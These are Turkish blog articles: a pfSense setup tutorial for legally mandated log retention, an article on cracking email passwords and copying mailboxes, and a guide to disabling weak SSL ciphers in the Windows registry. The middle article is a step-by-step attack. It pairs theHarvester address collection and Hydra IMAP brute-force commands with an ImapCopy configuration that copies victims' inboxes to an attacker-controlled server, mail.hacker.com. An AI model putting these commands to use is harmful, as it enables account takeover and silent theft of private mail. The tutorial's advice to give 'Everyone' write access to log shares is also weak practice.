Modülümüz ve yasamız hakkında yeterli bilgi aldığımıza göre artık kuruluma geçebiliriz. Önceliğimiz Windows bilgisayarımızda yapmamız gerekenleri yapalım.

Ben PFSense’den gelecek logları bilgisayarımın D bölümünde depolayacağım ve PFSense’nin logları aktarması için ilgili log dizinlere everyone okuma,yazma izni vereceğim. ( Dilerseniz sadece bir kullanıcıya okuma yazma izni verip o şekilde paylaşıma açabilirsiniz. )

2 Adet klasör oluşturuyoruz isimleri aşağıdaki gibi olacaktır.

Logs_Admin ( Sistem Yöneticileri için gelişmiş logların gönderileceği klasör )
Logs_Tib ( Tib’in bizden istemiş olduğu logların gönderileceği klasör )

Şekil 2 – Paylaşım İzinlerinin verilmesi

Şekil 2’de gördüğünüz gibi Logs_Admin,Logs_Tib klasörlerine “ Everyone “ okuma yazma izni verdim.

Son olarak Windows bilgisayarımızda yapmamız gereken işlem Logs_Tibs klasörüne gönderilecek olan logların Tib Log İmzalayıcı yazılım ile imzalanması.
Tib Log İmzalayacı yazılımı indiriniz.

http://tib.gov.tr/tr/dokumanlar/IPLogImzalayiciSetup3.0.exe

Şekil – 3 Log İmzalayıcı yazılımının ayarları;

Şekil 3’te gördüğünüz gibi Logs_Tibs klasörüne log gönderildiğinde imzalanmasını sağlıyoruz ve “ Ayarları Kaydet” diyerek ayarlarımızı kaydediyoruz.

Windows Bilgisayarımızda yapmamız gereken bütün işlemler bu kadardır. Modülümüzün çalışması için PFSense web ara yüzünden yüklememiz gereken paketlerin kurulumlarını tamamlayalım.

PFSense Web Arayüzüne erişin ve System -> Packages -> Available Packages bölümüne geçiş yapınız.

Şekil - 4

Squid,Squid Guard,Cron paketlerimizin kurulumunu bu bölümden Şekil 4’teki gibi gerçekleştirelim.

Şekil - 5

Kurulum sonrası Yüklü olan paketlerimizi “Installed Packages” bölümünden kontrol edelim.Sorunsuz bir şekilde paketlerimizin kurulduğunu görüyoruz.

Şekil - 6

Eğer daha önce Proxy Server’i yapılandırmamışsanız.Menü’den Services -> Proxy Server bölümüne geçiş yapalım ve ayarlarımızı yukarıdaki resim gibi yapılandırınız.

Şekil -7

PFSense hazır paketler kısmında bulunmayan Samba Client, Talloc ve Net SMTP paketlerini yüklemek için SSH ile PFSense sunucumuza bağlanmamız gerekiyor. Onun için System -> Advanced bölümüne geçiş yapalım ve resimdeki gibi “ Enable Secure Shell “ seçeneğini işaretleyip “ Save “ butonu ile ayarlarımızı kaydedelim.

Windows Bilgisayarımıza geri dönüp Putty,Winscp programlarını kuralım.

Putty ile sunucumuza bağlanıp aşağıdaki paketlerimizin kurulumunu yapalım.

Not : PFSense SSH kullanıcı adı root şifresi pfsense web arayüzüne girdiğiniz şifredir.

-Talloc (2.0.7)
-Samba Client (3.6.7)
-Net SMTP

Kurulum yapmamız için PFSense bağlandıktan sonra “8” rakamı ile Shell bölümüne giriş yapalım.

Shell bölümünde aşağıdaki komutu koşturarak yüklü olan paketlere göz atalım. Eğer versiyon uymuyorsa ilgili paketleri kaldıralım ve aşağıdaki yönergeleri takip ederek tekrar kurulumlarını gerçekleştirelim.

# pkg_info

Şekil - 8

Yukarıda gördüğünüz gibi ben daha önce ilgili paketlerin kurulumunu yapmıştım yüklü olarak ve versiyonları doğru bir şekilde gözüküyor.

Eğer sizde versiyonlar eskiyse aşağıdaki komutu koşturarak ilgili paketi sistemden kaldırabilirsiniz.

# pkg_delete –f paketismi

İlgili paketlerin kurulumunu yapmak için aşağıdaki komutları Shell üzerinde koşturalım.

SambaClient Kurulumu ;
# pkg_add -r http://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8-stable/All/talloc-2.0.7.tbz
Talloc Kurulumu ;
# pkg_add -r http://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8-stable/All/samba36-smbclient-3.6.7.tbz
Net SMTP Kurulumu ;
# pkg_add –r ftp://ftp-archive.freebsd.org/pub/FreeBSD-Archive/old-releases/i386/8.1-RELEASE/packages/Latest/p5-Net-SMTP-TLS.tbz

Şekil – 10

Yüklemeler bittikten sonra “ pkg_info “ komutunu koşturarak yüklü olan paketlerimizin kontrolünü yapalım Şekil 10’da gördüğünüz gibiyse SSH üzerinden yüklememiz gereken paketlerin hepsini başarılı bir şekilde yüklemişizdir.

Modülümüzün sağlıklı bir şekilde çalışması için ilgili paketlerin kurulumunu tamamladıktan sonra artık Modülümüzü PFSense sunucumuzda ilgili dizinlere gönderelim.

Modülü indirmek için http://www.cozumpark.com/download/pfsense5651cozumpark.rar dosyasını Windows bilgisayarınıza indiriniz.

Şekil – 11

WinSCP ile PFSense sunucusuna bağlanalım ve bir üst dizine çıkalım.

“pfsense5651cozumpark” Klasörünün içindeki klasörleri ( sbin,var) sunucumuza yükleyelim. ( Sürükleyerek yükleme işlemini gerçekleştirebilirsiniz )

Şekil – 12

sbin dizinine gönderdiğimiz TIB5651ANLRUN.sh ve TIB5651ARPrun.sh dosyalarımıza sağ tıklayıp Properties kısmından “0755” chmod yetkisi verelim.

Not : Var dizininde herhangi bir izin vermenize gerek yok.

Şekil – 13

SBin dizine göndermiş olduğumuz TIB5651ANLrun.sh dosyamıza sağ tıklayıp “ Edit “ düzenleyelim.

Açılan pencere’de ip adresi, paylaşım adı, kullanıcı adı ve şifre bölümlerinizi kendinize göre düzenleyiniz.

Düzenleme işlemini bitirdikten sonra Ctrl + S tuşlarıyla kaydetip sbin dizininden bir üst dizine geçiniz.

Şekil – 14

Var -> TIB5651Tr -> TibParameters -> dizinine girin ve “ pfsenseMAIL.cfg ” dosyasına sağ tıklayıp “ Edit “ düzenleyelim.

Şekil 14’de gördüğünüz gibi mail ayarlarınızı kendinize göre düzenleyiniz Ctrl + S ile kaydedip çıkınız.

SBin içerisine atmış olduğumuz “TIB5651ANLrun.sh “ ve “TIB5651ARPrun “ dosyalarını günün belirli saatlerinde çalıştırmamız gerekiyor. PFSense üzerinde bulunan logları düzenleyip TIB ve Sistem Yöneticileri için gelişmiş log dosyası haline getirip Windows bilgisayarımıza aktarması için bu dosyaların çalışmasını sağlamak için’de “ Cron “ paketini makalemizin başlarında yüklemiştik.

Cron ayarlarımızı yapılandırmak için PFSense arayüzünden -> Services - > Cron bölümüne giriş yapıyoruz.

Şekil - 15

Bu bölümde (+) butonuna tıklayarak yeni bir görev oluşturuyoruz.
Şekil – 16

/sbin/TIB5651ARPrun.sh dosyamızın 5 dakika’da bir çalışması için cron ayarlarımızı yapılandırıyoruz.Zaman yapısını değiştirmeyiniz. Bu dosya sistem’de çalışıp gerekli bilgileri alıp analiz ettikten sonra TibDailyControl klasörüne yazacaktır.

Şekil – 17

TIB5651ANLrun.sh dosyası ilgili logların Windows bilgisayarınıza aktarılmasını sağlar. Dosya isimlerini olduğu gibi yazınız Freebsd küçük büyük harf duyarlıdır.

TIB5651ANLrun.sh dosyasını ben 23:45’de çalıştırıyorum siz yapınıza göre değişiklik yapabilirsiniz. Zamanlamayı 00:00’dan önce yapmalısınız çünkü PFSense 00:00’da ilgili logları temizler.

PFSense’yi yeniden başlatınız.

Modulün sağlıklı çalışıp çalışmadığını test etmek adına manual olarak TIB5651ARPrun.sh ve TIB5651ANLrun.sh dosyalarımızı çalıştıralım.

Putty açınız ve “8” rakamı ile shell bölümüne giriş yapalım.

sbin klasörüne giriş yapalım.

# cd /sbin

öncelikle TIB5651ARPrun.sh dosyasını çalıştırıp logları analiz ettirelim.

# sh TIB5651ARPrun.sh

İlgili logları analiz ettikten sonra Windows bilgisayarımıza kopyalanmasını sağlayalım.

#sh TIB5651ANLrun.sh
Şekil – 18

Gördüğünüz gibi logları başarılı bir şekilde Windows bilgisayarıma aktardı. Logs_Tibs klasörüne gönderilen dosyaları Tib Log imzalayıcı yazılımı imzalayacağı için göremezseniz şaşırmayın. Tıb Log İmzalayacı yazılım imzaladığı logları otomatik olarak kendi içeresindeki signed_files klasörüne kopyalar.

Loglarımızın e-mail olarak gelmesi için ayarlarını yapmıştık. Onların kontrolünü yapalım.

E-postalarımızı kontrol ettiğimizde ilgili logların başarılı bir şekilde geldiğini görmekteyiz.

Modülü bizlerle paylaştığı ve istediğimiz özellikleri eklediği için Bülent ÖZKAN abime sonsuz teşekkür ederim.

Sorularınızı forum üzerinden sorabilirsiniz.

Bir başka makalede görüşmek üzere, Keyifli Çalışmalar.

Hydra ve ImapCopy

2013-03-10T19:19:00Z

Saniyeler İçerisinde emailleriniz nasıl çalınır?

Bu yazımda sizlerle hackerların nasıl email hesap şifrelerini kırdıklarından ve içerisindeki mailleri siz fark etmeden nasıl saniyeler içinde istedikleri bir adrese aktarabildiklerinden bahsedeceğim. Konunun anlaşılabilir olması açısından öncelikle yüzeysel bilgi verip tools isimlerinden bahsedeceğim, sonrasında örnek bir senaryoyu canlandıracağım.

Email adreslerinin şifresinin çalınması ve emaillerinin yedeklenmesi işlemi 2 adımdan oluşmakta,

1-Email adresi şifresinin kırılması

2-Emaillerin kopyalanması.

1- Email şifresini kırmak

Bu işlem için genellikle brute force ataklar kullanılır, basit şifre kullanan email adresi dakikalar içerisinde ele geçirilebilir ve bunlar olurken email adres sahibi kesinlikle bunlardan haberdar olmaz.

Ancak dikkatli bir sistem mühendisi bu durumu fark edebilir ve önlem almayı deneyebilir.

Brute force için kullanılan bazı toolslar : Hydra, Medusa, Ncrack.

Ben bu makale de brute force tools olarak hyrda kullanacağım.

2-Emaillerin kopyalanması

Bu işlem için genellikle imap sync işlemi yapan toolslar kullanılır, internet bağlantısı, kullanılan mail sunucuların internet bağlantısı ve servis yoğunluğuna bağlı olarak mailler saniyeler içerisinde farklı bir email adresinin inbox folderına kopyalanabilir. Bu işlem esnasında son kullanıcı ve sistem yöneticilerinin olayı fark edebilmeleri neredeyse imkânsızdır.

Bu işlem için ben ubuntu debian gibi işletim sistemlerindeki imapcopy tools kullanıyorum, farklı seçenekler de mevcut internette imap copy, imap sync şeklinde aramalar ile bu toollara erişebilirsiniz.

3- Uygulamalı Örnek

a) Toolsların hazırlanması

Kullanacak olduğumuz iki tools var,

* Hydra (Brute Force için)

* ImapCopy (Emailleri farklı bir adresin inbox folderına taşımak için)

Backtrack kullanıcıları için hydra default olarak kurulu geliyor, ubuntu, debian v.b. Işletim sistemlerinde

apt-get install hydra

Şeklinde uygulamayı kurabilirsiniz.

Kurulum tamamlandıktan sonra komut satırında hydra yazarak hydra programı ile ilgili ek parametrelere erişebilirsiniz, hydra pop3 imap gibi mail servisleri dışında rdp, ssh v.b. Gibi servisler için de brute force yapabilmektedir.

a) Hydra

Tek bir email adresini hedef alan saldırı;

hydra -l user@xxx.com -P Passwordlist.txt mail.xxx.com imap

Kurumlara gerçekleştirilern saldırlarda Theharvester gibi toolslar ile alan adına ait mailler search edilir,

./theHarvester.py -d xxx.com -l 500 -b Google

Theharvester ile ilgili detaylı bilgiye için http://www.securistan.com/theharvester-kullanimi/ adresini ziyaret edebilirsiniz.

Theharvester ile elde etmiş olduğunuz email adreslerini email.txt adı ile bir txt e yazın ve aşağıdaki hydra komutunu kullanın,

hydra -L email.txt -P Passwordlist.txt mail.xxx.com imap

Passwordlist.txt içerisinde password listiniz olmalıdır.

Bu adımda user1@xxx.com ve user2@xxx.com email adresi şifresi elde ettiğimizi düşünerek ikinci bölüme geçiyorum.

b) ImapCopy

Imapcopy uygulamasını ubuntu debian gibi linux sürümlerinde,

apt-get install imapcopy

komutu ile kurabilirsiniz.

Kurulumun tamamlandıktan sonra

cd /usr/share/doc/imapcopy/examples/

komutu ile /usr/share/doc/imapcopy/examples/ dizinine gidiyoruz, Bu dizinde ImapCopy.cfg adın da bir text doküman mevcut, bunu editlememiz gerekecek, editlenecek alanlar,

SourceServer : Saldırılan alan adı mail sunucunun ip adresi

DestServer : Emaillerin kopyalancağı sunucu

Copy : User ve şifre bilgileri

Bu bölümler deki değişikliği yapyıktan sonra komut satırında,

İmapcopy

komutunu çalıştırıyoruz ve mailleri kendi email adresimize almaya başlıyoruz.

SourceServer : mail.xxx.com

DestServer : mail.hacker.com

Copy : "user1@xxx.com" "123456" “hacker@hacker.com" "!'^+.RQ5%+”

# Email adres Email Password Hacker email Hacker Password

NOT : Yukaırdaki email adres, email password, hacker email, hacker password alanları açıklamadır.

Bu işlemin ardından hacker@hacker.com adresine baktığınızda user1@xxx.com ve user2@xxx.com a ait mailleri görebilirsiniz.

ImapCopy.cfg dosyası sadece inbox klasörünü taşıyacak şekilde configure edilmiştir, diğer folderlar için ImapCopy.cfg dosyasında değişiklik yapmanız gerekir.

Örnek ImapCopy.cfg dosya içeriği aşağıdaki gibidir.

##############

# Sourceserver

##############

SourceServer mail.xxx.com

SourcePort 143

###################

# Destinationserver

###################

DestServer mail.hacker.com

DestPort 143

# DebugSrc and DebugDest will show all traffic between IMAPCopy and Server

#DebugSrc

#DebugDst

#skipfolder INBOX.Trash

#skipfolder INBOX.Sent

#skipfolder "INBOX.Sent Objects"

copyfolder INBOX

#copyfolder "INBOX.My personal files"

#copyfolder INBOX.Net-Connection.dy

#copyfolder INBOX.test

#DstRootFolder "Your old Mails"

#AllowFlags "\Seen\Answered\Flagged\Deleted\Draft Junk NonJunk $MDNSent $Forwared"

DenyFlags "\Recent"

converttimezone "UTC" "+0000"

converttimezone "UT" "+0000"

#############################

# List of users and passwords

#############################

# SourceUser SourcePassword DestinationUser DestinationPassword

Copy "user1@xxx.com" "123456" "hacker@hacker.com" "!'^+.RQ5%+"

Copy "user2@xxx.com" "istanbul" "hacker@hacker.com" "!'^+.RQ5%+”

Makalemin sonuna geldim. Umarım faydalı bir makale olmuştur. Bir sonraki makalemde görüşmek üzere.

Kısa Uzunluktaki Cipherlardan Kaynaklanan Zafiyetlerin Giderilmesi

2013-01-27T18:02:00Z

Makaleme başlamadan önce bu makalenin hazırlanmasında bana yardımcı olan değerli arkadaşım Selin Sökücü' ye teşekkür ediyorum.

SSL Secure Socket Layer Protokolü Netscape tarafından, internet üzerinde web sunucular ve tarayıcıların güvenli haberleşmeleri için geliştirilmiştir. Zaman içinde daha da geliştirierek TLS - Transport Layer Security olarak adlandırılmıştır. SSL Protokolü'nün ana hedefi kişisel gizlilik ve güvenilirlik sağlamaktır. Bu protokol ile istemci (client) ve sunucu (server) arasında trafik şifrelenir, şifreleme için cipher adı verilen anahtarlar kullanılır. Kısa uzunluktaki olan anahtarlarla (<128 bit) şifrelenmiş olan verilerin kırılıp okunabilmesi, daha uzun anahtarla şifrelenmiş olan verinin kırılıp okunmasından çok daha basittir. Güvenli veri iletişimi sağlamak için uzunluğu kısa anahtarların kullanılmaması gerekir. Yazımızda istemci ve sunucu tarafında düşük güvenlikli, uzunluğu kısa anahtarların kapatılmasını anlatılacaktır.

Makalemize başlamadan önce sizlere makale içerisinde geçecek olan bir takım terimlerin tanımlarını yapmak istiyorum.

Tanımlar;

Plaintext: Şifrelenmemiş asıl metin.

Ciphertext: Bir anahtarla şifrelenmiş metin.

Cipher: Şifreleme ve/veya şifre çözmede kullanılan anahtara Cipher denir. Cipher’lar birçok farklı şekilde kategorilere ayrılabilirler.

· Block Cipher: Şifreleme algoritmalarında kullanılan bir yöntem olan blok şifreleme, açık mesajın (plain text) belirli uzunluklarda bloklara bölünmesi ile çalışır.

· Stream Cipher: Bloklar halinde çalışmayıp, devam eden semboller üzerinde çalışan cipherlara stream ciphers denir.

Cipher’lar şifreleme anahtarlarının uzunluklarına göre üçe ayrılmaktadır.

· Düşük (Low): 128 bitten daha kısa olan cipherlardır.

· Orta (Medium): 128 bit uzunluğunda olan cipherlardır.

· Yüksek (High): 128 bitten daha uzun olan cipherlardır.

Anahtarlama yöntemleri ikiye ayrılır:

· Simetrik Anahtarlama (symmetric key algorithms): Şifrelemede ve şifre çözmede aynı anahtar kullanılır. Bu anahtarlama türünde, anahtar alıcı ve gönderici tarafından bilinmeli ve başka kimse tarafından bilinmemelidir.

· Asimetrik Anahtarlama (asymmetric key algorithms): Şifrelemede ve şifre çözmede farklı anahtar kullanılır. Bunlar public key (açık anahtar) ve private key (gizli-kapalı anahtar)’lerdir. Private key public keyden öğrenilemez ve böylece şifrelemenin de güvenliği sağlanmış olur.

Üçlü El Sıkışması (3-way-handshake): İstemci bilgisayarın HTTPS protokolü üzerinden sunucu sisteme bağlanması Üçlü Tokalaşma (3 way handshake) yöntemiyle gerçekleştirilmektedir. Buna göre İstemci bilgisayar bağlantı kurmak istediği sunucuya içinde kendini tanıtıcı bilgileri bulunduran bir SYN (Synchronize) paketi gönderir. Sunucu SYN paketini aldığında alındı onayı olan ACK (Acknowledgement) paketiyle birlikte kendini tanıtıcı bir SYN paketi gönderir. İstemci bilgisayarın sunucudan gelen SYN+ACK paketini aldığını son adımda göndereceği ACK paketiyle Üçlü Tokalaşma tamamlanır ve veri akışı başlar.

Şekil – 1

Network tarafında giden ve gelen paketleri incelemek için Wireshark yazılımını kullanacağız.( http://www.wireshark.org/download.html)

Wireshark programından üçlü el sıkışma paketlerini incelemek istersek:

1. adım olan SYN paketinin yollanması (istemci):

Şekil – 2

2. adım olan SYN-ACK paketinin yollanması (sunucu):

Şekil – 3

3. adım olan ACK paketinin yollanması (istemci):

Şekil – 4

Cipher Açıklaması:

Cipher’ların isimlerinin açıklamalarını gösteren tablo aşağıdaki gibidir.

Kx: Key Exchange Algorithm.

Au: Authentication Algorithm.

Enc: Encryption.

Mac: Message Authentication Code Algorithm; Mesajın bütünlüğünü ve değiştirilmediğini kontrol etmek için kullanılır. Bütünlük sayesinde mesaj üzerinde yapılan rastlantısal ve kasıtlı mesaj değişiklikleri algılanır. Mesajın değiştirilmemesi kontrolü sayesinde ise mesajı gönderen doğrulanmış olur.

Adı	Protokol	Kx	Au	Enc	Bits	Mac
TLS_RSA_WITH_NULL_MD5	TLS	RSA	RSA	NULL	0	MD5
TLS_RSA_WITH_NULL_SHA	TLS	RSA	RSA	NULL	0	SHA
TLS_RSA_WITH_RC4_128_MD5	TLS	RSA	RSA	RC4_128	128	MD5
TLS_RSA_WITH_RC4_128_SHA	TLS	RSA	RSA	RC4_128	128	SHA
TLS_RSA_WITH_DES_CBC_SHA	TLS	RSA	RSA	DES_CBC	56	SHA
TLS_RSA_WITH_3DES_EDE_CBC_SHA	TLS	RSA	RSA	3DES_EDE_CBC	168	SHA
TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA	TLS	DH	DSS	DES40_CBC	40	SHA
TLS_DH_DSS_WITH_DES_CBC_SHA	TLS	DH	DSS	DES_CBC	56	SHA
TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA	TLS	DH	DSS	3DES_EDE_CBC	168	SHA
TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA	TLS	DH	RSA	DES40_CBC	40	SHA
TLS_DH_RSA_WITH_DES_CBC_SHA	TLS	DH	RSA	DES_CBC	56	SHA
TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA	TLS	DH	RSA	3DES_EDE_CBC	168	SHA
TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA	TLS	DHE	DSS	DES40_CBC	40	SHA
TLS_DHE_DSS_WITH_DES_CBC_SHA	TLS	DHE	DSS	DES_CBC	56	SHA
TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA	TLS	DHE	DSS	3DES_EDE_CBC	168	SHA
TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA	TLS	DHE	RSA	DES40_CBC	40	SHA
TLS_DHE_RSA_WITH_DES_CBC_SHA	TLS	DHE	RSA	DES_CBC	56	SHA
TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA	TLS	DHE	RSA	3DES_EDE_CBC	168	SHA
TLS_DH_Anon_EXPORT_WITH_RC4_40_MD5	TLS	DH	Anon	RC4_40	40	MD5
TLS_DH_Anon_WITH_RC4_128_MD5	TLS	DH	Anon	RC4_128	128	MD5
TLS_DH_Anon_EXPORT_WITH_DES40_CBC_SHA	TLS	DH	Anon	DES40_CBC	40	SHA
TLS_DH_Anon_WITH_DES_CBC_SHA	TLS	DH	Anon	DES_CBC	56	SHA
TLS_DH_Anon_WITH_3DES_EDE_CBC_SHA	TLS	DH	Anon	3DES_EDE_CBC	168	SHA
TLS_RSA_WITH_AES_128_CBC_SHA	TLS	RSA	RSA	AES_128_CBC	128	SHA
TLS_DH_DSS_WITH_AES_128_CBC_SHA	TLS	DH	DSS	AES_128_CBC	128	SHA
TLS_DH_RSA_WITH_AES_128_CBC_SHA	TLS	DH	RSA	AES_128_CBC	128	SHA
TLS_DHE_DSS_WITH_AES_128_CBC_SHA	TLS	DHE	DSS	AES_128_CBC	128	SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA	TLS	DHE	RSA	AES_128_CBC	128	SHA
TLS_DH_Anon_WITH_AES_128_CBC_SHA	TLS	DH	Anon	AES_128_CBC	128	SHA
TLS_RSA_WITH_AES_256_CBC_SHA	TLS	RSA	RSA	AES_256_CBC	256	SHA
TLS_DH_DSS_WITH_AES_256_CBC_SHA	TLS	DH	DSS	AES_256_CBC	256	SHA
TLS_DH_RSA_WITH_AES_256_CBC_SHA	TLS	DH	RSA	AES_256_CBC	256	SHA
TLS_DHE_DSS_WITH_AES_256_CBC_SHA	TLS	DHE	DSS	AES_256_CBC	256	SHA
TLS_DHE_RSA_WITH_AES_256_CBC_SHA	TLS	DHE	RSA	AES_256_CBC	256	SHA
TLS_DH_Anon_WITH_AES_256_CBC_SHA	TLS	DH	Anon	AES_256_CBC	256	SHA
TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA	TLS	DHE	DSS	DES_CBC	56	SHA
TLS_DHE_DSS_WITH_RC4_128_SHA	TLS	DHE	DSS	RC4_128	128	SHA

Client Tarafındaki Cipherların Ayarlanması:

SSL (Secure Sockets Layer) Transport katmanı için Uygulama katmanında, anahtar değişimi için asimetrik, gizlilik için simetrik şifreleme kullanan, network üzerindeki iletişim güvenliğini amaçlayan kriptografi protokolüdür. Network üzerinden gönderilen kişisel bilgilerin güvenliği sadece SSL’i aktif ederek sağlanamaz. SSL en az 3 protokol (SSLv2, SSLv3 ve TLSv1) ve farklı güçlerde şifreleme algoritmaları bulundurur. Bu şifreleme algoritmalarının bir kısmı bugün ciddi kullanımlar için yeterince güçlü değildir. SSL üçlü el sıkışması sırasında client ve server kullanılacak olan cipher konusunda pazarlık yaparlar. Client kendisinin kullanabildiği cipherların bir listesini server’a gönderir ve server da bu listeden kendisinin de kullanabildiği bir tanesini seçer ve client’a gönderir. Bir değişiklik yapılmadığı durumlarda düşük güvenlikli cipherların kullanımına imkan sağlanmış olabilir.

Cipher listesi paylaşımı ve tercih edilen cipher’ın wireshark sayesinde alınan ekran görüntüleri aşağıdaki gibidir.

1. adım, Client Hello ve Client Cipher Listesi

Şekil – 5

2. adım, Server Hello ve Tercih edilen Cipher Suit

Şekil – 6

Ve 3. Adım Client Key Exchange

Şekil – 7

Microsoft tabanlı sistemlerde, kullanılacak Cipherları schannel.dll ile kontrol edebiliriz. Schannel.dll, Internet Explorer 3.x ve 4.x için kullanılan ve 128-bit güçlü şifreleme sağlayan dynamic link library’dir.

Değişiklik yapılmadığı durumda, aşağıdaki tabloda gösterildiği şekilde cipher önceliği vardır:

Şekil – 8

Client tarafında zayıf cipher (< 128 bit) kullanılmasını engellemek için schannel.dll üzerinden değişiklik yapmamız gerekir. Schannel’da değişiklik yapmak için Registry Editor (regedit) çalıştırılarak

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL dalına gelinir.

Low Cipher’ların, Düşük güvenlikli Protokol ya da hash’lerin, kullanılmasını engellemek için, disable edilmesi istenilen dizinin Client dosyasının içerisine sağ tıklanarak yeni DWORD yaratılır, DWORD’ün adı Enabled olarak değiştirilir ve değeri 0x00000000 yapılır. Cipher enable edilmek isteniyorsa da DWORD değeri 0x00000001 yapılır.

Şekil – 9

Şekil – 10

Şekil – 11

Ayrıca, aynı işlem .reg dosyası hazırlayarak da yapılabilir. Bu sayede, hem değişikliklerden önceki durumların yedekleri alınabilir, hem de değişikliklerin tek tek yapmak yerine topluca yapılmasına olanak sağlanır.

Bunun için SCHANNEL’a sağ tıklanıp Export seçeneği seçilir. Dosya adı verildikten sonra kaydedilir. Yaratılan dosyaya sağ tıklanıp edit seçilirse, aşağıdaki gibi schannel’in içeriğinin ve durumlarının bulunduğu notepad sayfası açılır.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL]

"EventLogging"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\DES 56/56]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\NULL]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC2 128/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC2 40/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC2 56/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 128/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 40/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 56/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 64/128]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\Triple DES 168/168]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes\MD5]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes\SHA]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms\Diffie-Hellman]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms\PKCS]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello\Client]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello\Server]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Client]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Server]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server]

Burada kapatmak istediğimiz cipherların bir alt satırına "Enabled"=dword:00000000, açmak istediklerimize ise "Enabled"=dword:00000001 yazılır. Aşağıda, düşük güvenliği olan cipherları, 128 bit’den daha düşük olan cipherları kapattığımız reg dosyasının içeriği bulunmaktadır.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL]

"EventLogging"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\DES 56/56]

"Enabled"=dword:00000000

